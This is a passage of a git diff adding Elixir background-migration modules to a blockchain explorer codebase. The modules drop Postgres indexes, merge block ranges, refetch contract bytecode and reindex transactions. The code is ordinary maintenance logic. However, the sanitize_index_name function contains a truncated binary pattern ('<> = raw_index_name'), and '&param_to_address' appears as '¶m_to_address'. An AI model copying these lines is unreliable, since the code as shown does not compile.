b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_from_address_hash_with_pending_index.ex @@ -0,0 +1,63 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsFromAddressHashWithPendingIndex do + @moduledoc """ + Drops index "transactions_from_address_hash_with_pending_index" btree (from_address_hash, block_number DESC, index DESC, inserted_at DESC, hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsCreatedContractAddressHashWithPendingIndex + + @table_name :transactions + @index_name "transactions_from_address_hash_with_pending_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTransactionsCreatedContractAddressHashWithPendingIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_transactions_from_address_hash_with_pending_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_to_address_hash_with_pending_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_to_address_hash_with_pending_index.ex new file mode 100644 index 000000000000..e0f4067f2fe5 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/drop_transactions_to_address_hash_with_pending_index.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsToAddressHashWithPendingIndex do + @moduledoc """ + Drops index "transactions_to_address_hash_with_pending_index" btree (to_address_hash, block_number DESC, index DESC, inserted_at DESC, hash). + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + DropTransactionsCreatedContractAddressHashWithPendingIndex, + DropTransactionsFromAddressHashWithPendingIndex + } + + @table_name :transactions + @index_name "transactions_to_address_hash_with_pending_index" + @operation_type :drop + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropTransactionsCreatedContractAddressHashWithPendingIndex.migration_name(), + DropTransactionsFromAddressHashWithPendingIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.drop_index_query_string(@index_name) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_dropping_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_drop_transactions_to_address_hash_with_pending_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/helper.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/helper.ex new file mode 100644 index 000000000000..d9d167e2717a --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/helper.ex @@ -0,0 +1,252 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.Helper do + @moduledoc """ + Common functions for Explorer.Migrator.HeavyDbIndexOperation.* modules + """ + + require Logger + + alias Ecto.Adapters.SQL + alias Explorer.Repo + + @doc """ + Checks the progress of DB index operation by its name. + """ + @spec check_db_index_operation_progress(String.t(), String.t()) :: + :finished_or_not_started | :unknown | :in_progress + def check_db_index_operation_progress(raw_index_name, operation) do + index_name = sanitize_index_name(raw_index_name) + + case SQL.query( + Repo, + """ + SELECT EXISTS (SELECT 1 FROM pg_stat_activity WHERE state='active' AND query = $1); + """, + [operation] + ) do + {:ok, %Postgrex.Result{command: :select, columns: ["exists"], rows: [[true]]}} -> + :in_progress + + {:ok, %Postgrex.Result{command: :select, columns: ["exists"], rows: [[false]]}} -> + :finished_or_not_started + + {:error, error} -> + Logger.error("Failed to check DB index '#{index_name}' operation progress: #{inspect(error)}") + :unknown + end + end + + @doc """ + Checks DB index with the given name exists in the DB and it is valid. + """ + @spec db_index_exists_and_valid?(String.t()) :: + %{ + :exists? => boolean(), + :valid? => boolean() | nil + } + | :unknown + def db_index_exists_and_valid?(raw_index_name) do + index_name = sanitize_index_name(raw_index_name) + + case SQL.query( + Repo, + """ + SELECT pg_index.indisvalid + FROM pg_class, pg_index + WHERE pg_index.indexrelid = pg_class.oid + AND pg_class.relname = $1; + """, + [index_name] + ) do + {:ok, %Postgrex.Result{rows: []}} -> + %{exists?: false, valid?: nil} + + {:ok, %Postgrex.Result{command: :select, columns: ["indisvalid"], rows: [[true]]}} -> + %{exists?: true, valid?: true} + + {:ok, %Postgrex.Result{command: :select, columns: ["indisvalid"], rows: [[false]]}} -> + %{exists?: true, valid?: false} + + {:error, error} -> + Logger.error("Failed to check DB index '#{index_name}' existence: #{inspect(error)}") + :unknown + end + end + + @doc """ + Returns status of DB index creation with the given name. + """ + @spec db_index_creation_status(String.t()) :: :not_initialized | :not_completed | :completed | :unknown + def db_index_creation_status(raw_index_name) do + index_name = sanitize_index_name(raw_index_name) + + case db_index_exists_and_valid?(index_name) do + %{exists?: false, valid?: nil} -> :not_initialized + %{exists?: true, valid?: false} -> :not_completed + %{exists?: true, valid?: true} -> :completed + :unknown -> :unknown + end + end + + @doc """ + Returns status of DB index dropping with the given name. + """ + @spec db_index_dropping_status(String.t()) :: :not_initialized | :not_completed | :completed | :unknown + def db_index_dropping_status(raw_index_name) do + index_name = sanitize_index_name(raw_index_name) + + case db_index_exists_and_valid?(index_name) do + %{exists?: true, valid?: true} -> :not_initialized + %{exists?: true, valid?: false} -> :not_completed + %{exists?: false, valid?: nil} -> :completed + :unknown -> :unknown + end + end + + @doc """ + Creates DB index with the given name and table name atom, if it doesn't exist. + """ + @spec create_db_index(String.t(), atom(), list()) :: :ok | :error + def create_db_index(raw_index_name, table_name_atom, table_columns, unique? \\ false) do + index_name = sanitize_index_name(raw_index_name) + query = create_index_query_string(index_name, table_name_atom, table_columns, unique?) + run_create_db_index_query(query) + end + + @doc """ + Creates DB index running the given query. + """ + @spec create_db_index(String.t()) :: :ok | :error + def create_db_index(query) do + run_create_db_index_query(query) + end + + @spec run_create_db_index_query(String.t()) :: :ok | :error + # sobelow_skip ["SQL"] + defp run_create_db_index_query(query) do + case SQL.query(Repo, query, [], timeout: :infinity) do + {:ok, _} -> + :ok + + {:error, error} -> + Logger.error("Failed to run create DB index query: #{inspect(error)}") + + :error + end + end + + @doc """ + Generates a SQL query string to create an index on a specified table. + + ## Parameters + + - `index_name` (String): The name of the index to be created. + - `table_name_atom` (atom): The name of the table on which the index will be created, as an atom. + - `table_columns` (list of strings): A list of column names to be included in the index. + + ## Returns + + - (String): A SQL query string to create the index. + + ## Examples + + iex> create_index_query_string("my_index", :my_table, ["column1", "column2"]) + "CREATE INDEX CONCURRENTLY IF NOT EXISTS \"my_index\" on my_table (column1, column2);" + + """ + @spec create_index_query_string(String.t(), atom(), list(), boolean()) :: String.t() + def create_index_query_string(index_name, table_name_atom, table_columns, unique? \\ false) do + "CREATE #{(unique? && "UNIQUE") || ""} INDEX #{add_concurrently_flag?()} IF NOT EXISTS \"#{index_name}\" on #{to_string(table_name_atom)} (#{Enum.join(table_columns, ", ")});" + end + + @doc """ + Drops DB index by given name, if it exists. + """ + @spec safely_drop_db_index(String.t()) :: :ok | :error + # sobelow_skip ["SQL"] + def safely_drop_db_index(raw_index_name) do + index_name = sanitize_index_name(raw_index_name) + + case SQL.query(Repo, drop_index_query_string(index_name), [], timeout: :infinity) do + {:ok, _} -> + :ok + + {:error, error} -> + Logger.error("Failed to drop DB index '#{index_name}': #{inspect(error)}") + :error + end + end + + @doc """ + Returns the prefix used for naming heavy database operation migrations. + + ## Examples + + iex> Explorer.Migrator.HeavyDbIndexOperation.Helper.heavy_db_operation_migration_name_prefix() + "heavy_indexes_" + + """ + @spec heavy_db_operation_migration_name_prefix() :: String.t() + def heavy_db_operation_migration_name_prefix do + "heavy_indexes_" + end + + @doc """ + Generates a SQL query string to drop an index if it exists. + + ## Parameters + + - `raw_index_name`: The raw name of the index to be dropped. + + ## Returns + + - A string containing the SQL query to drop the index. + + The query string includes the `CONCURRENTLY` flag if applicable and ensures the index is dropped only if it exists. + + ## Examples + + iex> drop_index_query_string("my_index") + "DROP INDEX CONCURRENTLY IF EXISTS \"my_index\";" + """ + @spec drop_index_query_string(String.t()) :: String.t() + def drop_index_query_string(raw_index_name) do + index_name = sanitize_index_name(raw_index_name) + "DROP INDEX #{add_concurrently_flag?()} IF EXISTS \"#{index_name}\";" + end + + @doc """ + As a workaround we have to remove `CONCURRENTLY` in tests since + the error like "DROP INDEX CONCURRENTLY cannot run inside a transaction + block" is returned with it. + """ + @spec add_concurrently_flag?() :: String.t() + def add_concurrently_flag? do + if Mix.env() == :test, do: "", else: "CONCURRENTLY" + end + + defp sanitize_index_name(raw_index_name) do + # Postgres allows index names with a maximum length of 63 bytes + if byte_size(raw_index_name) < 64 do + raw_index_name + else + <> = raw_index_name + index_name + end + end + + @doc """ + Returns the configured check interval for heavy DB operations. + If not configured, defaults to 10 minutes. + + ## Examples + + iex> get_check_interval() + 600_000 # 10 minutes in milliseconds + + """ + @spec get_check_interval() :: timeout() + def get_check_interval do + Application.get_env(:explorer, Explorer.Migrator.HeavyDbIndexOperation)[:check_interval] || + :timer.minutes(10) + end +end diff --git a/apps/explorer/lib/explorer/migrator/merge_adjacent_missing_block_ranges.ex b/apps/explorer/lib/explorer/migrator/merge_adjacent_missing_block_ranges.ex new file mode 100644 index 000000000000..30332b7afa57 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/merge_adjacent_missing_block_ranges.ex @@ -0,0 +1,71 @@ +defmodule Explorer.Migrator.MergeAdjacentMissingBlockRanges do + @moduledoc """ + Merges adjacent missing block ranges (like 10..5, 4..3) into one (10..3). + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias EthereumJSONRPC.Utility.RangesHelper + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + alias Explorer.Utility.MissingBlockRange + + @migration_name "merge_adjacent_missing_block_ranges" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() + + data = + unprocessed_data_query() + |> select([m1, _m2], m1) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {data, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(m1 in MissingBlockRange, + inner_join: m2 in MissingBlockRange, + on: + m1.from_number + 1 == m2.to_number and + ((is_nil(m1.priority) and is_nil(m2.priority)) or m1.priority == m2.priority) + ) + end + + @impl FillingMigration + def update_batch(ranges_batch) do + {priority_ranges, non_priority_ranges, delete_ids} = + Enum.reduce(ranges_batch, {[], [], []}, fn range, {priority_acc, non_priority_acc, delete_acc} -> + if is_nil(range.priority) do + {priority_acc, [range.from_number..range.to_number | non_priority_acc], [range.id | delete_acc]} + else + {[range.from_number..range.to_number | priority_acc], non_priority_acc, [range.id | delete_acc]} + end + end) + + Repo.transaction(fn -> + MissingBlockRange + |> where([m], m.id in ^Enum.uniq(delete_ids)) + |> Repo.delete_all(timeout: :infinity) + + priority_ranges + |> RangesHelper.sanitize_ranges() + |> MissingBlockRange.save_batch(1) + + non_priority_ranges + |> RangesHelper.sanitize_ranges() + |> MissingBlockRange.save_batch(nil) + end) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/migration_status.ex b/apps/explorer/lib/explorer/migrator/migration_status.ex new file mode 100644 index 000000000000..a2a16b0bcd95 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/migration_status.ex @@ -0,0 +1,172 @@ +defmodule Explorer.Migrator.MigrationStatus do + @moduledoc """ + Module is responsible for keeping the current status of background migrations. + """ + use Explorer.Schema + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + alias Explorer.Repo + + @migration_name_atom :migration_name + + @typedoc """ + The structure of status of a migration: + * `migration_name` - The name of the migration. + * `status` - The status of the migration. + * `meta` - The meta data of the migration. + """ + @primary_key false + typed_schema "migrations_status" do + field(@migration_name_atom, :string, primary_key: true) + # ["started", "completed"] + field(:status, :string) + field(:meta, :map) + + timestamps() + end + + @doc false + def changeset(migration_status \\ %__MODULE__{}, params) do + cast(migration_status, params, [@migration_name_atom, :status, :meta]) + end + + @doc """ + Get the `MigrationStatus` struct by migration name. + """ + @spec fetch(String.t()) :: __MODULE__.t() | nil + def fetch(migration_name) do + migration_name + |> get_migration_by_name_query() + |> Repo.one() + end + + @doc """ + Get the status of migration by its name. + """ + @spec get_status(String.t()) :: String.t() | nil + def get_status(migration_name) do + migration_name + |> get_migration_by_name_query() + |> select([ms], ms.status) + |> Repo.one() + end + + @doc """ + Set the status of migration by its name. + """ + @spec set_status(String.t(), String.t()) :: {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def set_status(migration_name, status) do + %{migration_name: migration_name, status: status} + |> changeset() + |> Repo.insert(on_conflict: {:replace_all_except, [:inserted_at, :meta]}, conflict_target: @migration_name_atom) + end + + @doc """ + Update migration meta by its name. + """ + @spec update_meta(String.t(), map()) :: :ok | {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def update_meta(migration_name, new_meta) do + migration_name + |> get_by_name() + |> case do + nil -> + :ok + + migration_status -> + updated_meta = Map.merge(migration_status.meta || %{}, new_meta) + + migration_status + |> changeset(%{meta: updated_meta}) + |> Repo.update() + end + end + + @doc """ + Set migration meta by its name. + """ + @spec set_meta(String.t(), map() | nil) :: :ok | {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def set_meta(migration_name, new_meta) do + migration_name + |> get_by_name() + |> case do + nil -> + :ok + + migration_status -> + migration_status + |> changeset(%{meta: new_meta}) + |> Repo.update() + end + end + + # Builds a query to filter migration status records by migration name. + # + # ## Parameters + # - `query`: The base query to build upon, defaults to the module itself + # - `migration_name`: The name of the migration to filter by + # + # ## Returns + # - An `Ecto.Query` that filters records where migration_name matches the provided value + @spec get_migration_by_name_query(Ecto.Queryable.t(), String.t()) :: Ecto.Query.t() + defp get_migration_by_name_query(query \\ __MODULE__, migration_name) do + from(ms in query, where: ms.migration_name == ^migration_name) + end + + @spec fetch_migration_statuses_query(Ecto.Queryable.t(), [String.t()]) :: Ecto.Query.t() + defp fetch_migration_statuses_query(query \\ __MODULE__, migration_names) do + from(ms in query, + where: ms.migration_name in ^migration_names, + select: ms.status + ) + end + + defp get_by_name(migration_name) do + migration_name + |> get_migration_by_name_query() + |> Repo.one() + end + + @doc """ + Checks if there are any running heavy migrations except the current. + + A heavy migration is identified by its name starting with "heavy_indexes_create_{table_name}" or "heavy_indexes_drop_{table_name}" prefixes. + """ + @spec running_other_heavy_migration_for_table_exists?(Ecto.Queryable.t(), atom(), String.t()) :: boolean() + def running_other_heavy_migration_for_table_exists?(query \\ __MODULE__, table_name, migration_name) do + heavy_migrations_create_prefix = + "#{HeavyDbIndexOperationHelper.heavy_db_operation_migration_name_prefix()}create_#{to_string(table_name)}%" + + heavy_migrations_drop_prefix = + "#{HeavyDbIndexOperationHelper.heavy_db_operation_migration_name_prefix()}drop_#{to_string(table_name)}%" + + query = + from(ms in query, + where: + ilike(ms.migration_name, ^heavy_migrations_create_prefix) or + ilike(ms.migration_name, ^heavy_migrations_drop_prefix), + where: ms.migration_name != ^migration_name, + where: ms.status == ^"started" + ) + + Repo.exists?(query) + end + + @doc """ + Fetches the status of the given migrations. + + ## Parameters + + - migration_names: A list of migration names to check the status for. + + ## Returns + + - A list of migration statuses fetched from the database. + + """ + @spec fetch_migration_statuses([String.t()]) :: list(String.t()) + def fetch_migration_statuses(migration_names) do + migration_names + |> fetch_migration_statuses_query() + |> Repo.all() + end +end diff --git a/apps/explorer/lib/explorer/migrator/refetch_contract_codes.ex b/apps/explorer/lib/explorer/migrator/refetch_contract_codes.ex new file mode 100644 index 000000000000..a20574417c1c --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/refetch_contract_codes.ex @@ -0,0 +1,80 @@ +defmodule Explorer.Migrator.RefetchContractCodes do + @moduledoc """ + Refetch contract_code for. Migration created for running on zksync chain type. + It has an issue with created contract code derived from internal transactions. Such codes are not correct. + So, this migration fetches for all current smart contracts actual bytecode from the JSON RPC node. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.{Address, Data, Import} + alias Explorer.Chain.Hash.Address, as: AddressHash + alias Explorer.Chain.Import.Runner.Addresses + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + require Logger + + @migration_name "refetch_contract_codes" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([address], address.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + Address + |> where([address], not is_nil(address.contract_code) and not address.contract_code_refetched) + end + + @impl FillingMigration + def update_batch(address_hashes) do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + address_hashes + |> Enum.map(&address_to_fetch_code_params/1) + |> EthereumJSONRPC.fetch_codes(json_rpc_named_arguments) + |> case do + {:ok, create_address_codes} -> + addresses_params = create_address_codes.params_list |> Enum.map(¶m_to_address/1) |> Enum.sort_by(& &1.hash) + + Addresses.insert(Repo, addresses_params, %{ + timeout: :infinity, + on_conflict: {:replace, [:contract_code, :contract_code_refetched, :updated_at]}, + timestamps: Import.timestamps() + }) + + {:error, reason} -> + Logger.error(fn -> ["failed to fetch contract codes: ", inspect(reason)] end, + error_count: Enum.count(address_hashes) + ) + end + end + + @impl FillingMigration + def update_cache, do: :ok + + defp address_to_fetch_code_params(address_hash) do + %{block_quantity: "latest", address: to_string(address_hash)} + end + + defp param_to_address(%{code: bytecode, address: address_hash}) do + {:ok, address_hash} = AddressHash.cast(address_hash) + {:ok, bytecode} = Data.cast(bytecode) + %{hash: address_hash, contract_code: bytecode, contract_code_refetched: true} + end +end diff --git a/apps/explorer/lib/explorer/migrator/reindex_blocks_with_missing_transactions.ex b/apps/explorer/lib/explorer/migrator/reindex_blocks_with_missing_transactions.ex new file mode 100644 index 000000000000..31c3ec94deec --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/reindex_blocks_with_missing_transactions.ex @@ -0,0 +1,85 @@ +defmodule Explorer.Migrator.ReindexBlocksWithMissingTransactions do + @moduledoc """ + Searches for all blocks where the number of transactions differs from the number of transactions on the node, + and sets refetch_needed=true for them. + """ + + use Explorer.Migrator.FillingMigration + + require Logger + + import Ecto.Query + + alias Explorer.Repo + alias Explorer.Chain.{Block, Transaction} + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Migrator.{FillingMigration, MigrationStatus} + + @migration_name "reindex_blocks_with_missing_transactions" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(%{"max_block_number" => -1} = state), do: {[], state} + + def last_unprocessed_identifiers(%{"max_block_number" => from_block_number} = state) do + limit = batch_size() * concurrency() + to_block_number = max(from_block_number - limit + 1, 0) + + {Enum.to_list(from_block_number..to_block_number), %{state | "max_block_number" => to_block_number - 1}} + end + + def last_unprocessed_identifiers(state) do + state + |> Map.put("max_block_number", BlockNumber.get_max()) + |> last_unprocessed_identifiers() + end + + @impl FillingMigration + def unprocessed_data_query, do: nil + + @impl FillingMigration + def update_batch(block_numbers) do + Block + |> where([b], b.number in ^block_numbers) + |> where([b], b.consensus == true) + |> where([b], b.refetch_needed == false) + |> select([b], b.number) + |> Repo.all() + |> do_update() + end + + @impl FillingMigration + def update_cache, do: :ok + + defp do_update([]), do: :ok + + defp do_update(consensus_block_numbers) do + db_transactions_count_map = + Transaction + |> where([t], t.block_number in ^consensus_block_numbers) + |> group_by([t], t.block_number) + |> select([t], {t.block_number, count("*")}) + |> Repo.all() + |> Map.new() + + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + case EthereumJSONRPC.fetch_transactions_count(consensus_block_numbers, json_rpc_named_arguments) do + {:ok, %{transactions_count_map: node_transactions_count_map, errors: errors}} -> + unless Enum.empty?(errors) do + Logger.warning("Migration #{@migration_name} encountered errors fetching blocks: #{inspect(errors)}") + end + + consensus_block_numbers + |> Enum.filter(&Map.has_key?(node_transactions_count_map, &1)) + |> Enum.reject(fn number -> db_transactions_count_map[number] == node_transactions_count_map[number] end) + |> Block.set_refetch_needed() + + error -> + Logger.error("Migration #{@migration_name} failed: #{inspect(error)}") + {:error, error} + end + end +end diff --git a/apps/explorer/lib/explorer/migrator/reindex_duplicated_internal_transactions.ex b/apps/explorer/lib/explorer/migrator/reindex_duplicated_internal_transactions.ex new file mode 100644 index 000000000000..ee6ffdc24970 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/reindex_duplicated_internal_transactions.ex @@ -0,0 +1,117 @@ +defmodule Explorer.Migrator.ReindexDuplicatedInternalTransactions do + @moduledoc """ + Searches for all blocks that contains internal transactions with duplicated block_number, transaction_index, index, + deletes all internal transactions for such blocks and adds them to pending operations. + """ + + use Explorer.Migrator.FillingMigration + + require Logger + + import Ecto.Query + + alias Explorer.Repo + + alias Explorer.Chain.{ + Block, + Hash, + InternalTransaction, + PendingBlockOperation + } + + alias Explorer.Migrator.FillingMigration + alias Indexer.Fetcher.InternalTransaction, as: InternalTransactionFetcher + + @migration_name "reindex_duplicated_internal_transactions" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + state + |> unprocessed_data_query() + |> distinct(true) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + case {ids, state["step"]} do + {[], step} when step != "finalize" -> + new_state = %{"step" => "finalize"} + MigrationStatus.update_meta(migration_name(), new_state) + last_unprocessed_identifiers(new_state) + + {ids, _field} -> + {ids, state} + end + end + + @impl FillingMigration + def unprocessed_data_query(state) do + field = + case state["step"] do + "finalize" -> :block_hash + _ -> :block_number + end + + from( + it in InternalTransaction, + where: not is_nil(field(it, ^field)), + group_by: [field(it, ^field), it.transaction_index, it.index], + having: count("*") > 1, + select: field(it, ^field) + ) + end + + @impl FillingMigration + def update_batch(block_numbers_or_hashes) do + now = DateTime.utc_now() + + {it_field, block_field} = + case block_numbers_or_hashes do + [number | _] when is_integer(number) -> {:block_number, :number} + [%Hash{} | _] -> {:block_hash, :hash} + end + + result = + Repo.transaction(fn -> + InternalTransaction + |> where([it], field(it, ^it_field) in ^block_numbers_or_hashes) + |> Repo.delete_all() + + pbo_params = + Block + |> where([b], field(b, ^block_field) in ^block_numbers_or_hashes) + |> where([b], b.consensus == true) + |> select([b], %{block_hash: b.hash, block_number: b.number}) + |> Repo.all() + |> Enum.map(&Map.merge(&1, %{inserted_at: now, updated_at: now})) + + {_total, inserted} = + Repo.insert_all(PendingBlockOperation, pbo_params, on_conflict: :nothing, returning: [:block_number]) + + inserted + end) + + case result do + {:ok, inserted_pbo} -> + unless is_nil(Process.whereis(InternalTransactionFetcher)) do + inserted_pbo + |> Enum.map(& &1.block_number) + |> InternalTransactionFetcher.async_fetch([], false) + end + + :ok + + {:error, error} -> + Logger.error("Migration #{@migration_name} failed: #{inspect(error)}") + {:error, error} + end + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/reindex_internal_transactions_with_incompatible_status.ex b/apps/explorer/lib/explorer/migrator/reindex_internal_transactions_with_incompatible_status.ex new file mode 100644 index 000000000000..96e18ac95f78 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/reindex_internal_transactions_with_incompatible_status.ex @@ -0,0 +1,135 @@ +defmodule Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatus do + @moduledoc """ + Searches for all failed transactions for which all internal transactions are successful + and adds them to pending_block_operations or pending_transaction_operations. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.{Chain, Repo} + + alias Explorer.Chain.{ + Block, + InternalTransaction, + PendingBlockOperation, + PendingOperationsHelper, + PendingTransactionOperation, + Transaction + } + + alias Explorer.Migrator.FillingMigration + alias Indexer.Fetcher.InternalTransaction, as: InternalTransactionFetcher + + @migration_name "reindex_internal_transactions_with_incompatible_status" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select_query() + |> distinct(true) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + pbo_query = + from( + pbo in PendingBlockOperation, + where: pbo.block_number == parent_as(:transaction).block_number + ) + + it_query = + from( + it in InternalTransaction, + where: parent_as(:transaction).hash == it.transaction_hash and it.index > 0, + select: 1 + ) + + it_error_query = + from( + it in InternalTransaction, + where: parent_as(:transaction).hash == it.transaction_hash and not is_nil(it.error) and it.index > 0, + select: 1 + ) + + from( + t in Transaction, + as: :transaction, + where: t.status == ^:error, + where: t.block_consensus == true, + where: not is_nil(t.block_number), + where: not exists(pbo_query), + where: exists(it_query), + where: not exists(it_error_query) + ) + end + + @impl FillingMigration + def update_batch(block_numbers_or_transaction_hashes) do + now = DateTime.utc_now() + + pending_operations_type = PendingOperationsHelper.pending_operations_type() + + {_total, inserted} = + case pending_operations_type do + "blocks" -> + params = + Block + |> where([b], b.number in ^block_numbers_or_transaction_hashes) + |> where([b], b.consensus == true) + |> select([b], %{block_hash: b.hash, block_number: b.number}) + |> Repo.all() + |> Enum.uniq_by(& &1.block_number) + |> Enum.map(&Map.merge(&1, %{inserted_at: now, updated_at: now})) + + Repo.insert_all(PendingBlockOperation, params, on_conflict: :nothing, returning: [:block_number]) + + "transactions" -> + params = + Enum.map(block_numbers_or_transaction_hashes, fn transaction_hash -> + %{transaction_hash: transaction_hash, inserted_at: now, updated_at: now} + end) + + Repo.insert_all(PendingTransactionOperation, params, on_conflict: :nothing, returning: [:transaction_hash]) + end + + unless is_nil(Process.whereis(InternalTransactionFetcher)) do + {block_numbers, transactions} = + case pending_operations_type do + "blocks" -> + {Enum.map(inserted, & &1.block_number), []} + + "transactions" -> + transactions = + inserted + |> Enum.map(& &1.transaction_hash) + |> Chain.get_transactions_by_hashes() + + {[], transactions} + end + + InternalTransactionFetcher.async_fetch(block_numbers, transactions, false) + end + end + + @impl FillingMigration + def update_cache, do: :ok + + defp select_query(query) do + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> select(query, [t], t.block_number) + "transactions" -> select(query, [t], t.hash) + end + end +end diff --git a/apps/explorer/lib/explorer/migrator/restore_omitted_weth_transfers.ex b/apps/explorer/lib/explorer/migrator/restore_omitted_weth_transfers.ex new file mode 100644 index 000000000000..8894e5c0f15a --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/restore_omitted_weth_transfers.ex @@ -0,0 +1,269 @@ +defmodule Explorer.Migrator.RestoreOmittedWETHTransfers do + @moduledoc """ + Inserts missed WETH token transfers + """ + + use GenServer, restart: :transient + + alias Explorer.{Chain, Helper} + alias Explorer.Chain.{Log, Token, TokenTransfer} + alias Explorer.Migrator.MigrationStatus + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + require Logger + + @enqueue_busy_waiting_timeout 500 + @migration_timeout 250 + @migration_name "restore_omitted_weth_transfers" + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :check_env}} + end + + @impl true + def handle_continue(:check_env, state) do + list = Application.get_env(:explorer, Explorer.Chain.TokenTransfer)[:whitelisted_weth_contracts] + + cond do + Enum.empty?(list) -> + {:stop, :normal, state} + + check_token_types(list) -> + {:noreply, %{}, {:continue, :check_migration_status}} + + true -> + Logger.error("Stopping") + {:stop, :normal, state} + end + end + + @impl true + def handle_continue(:check_migration_status, state) do + case 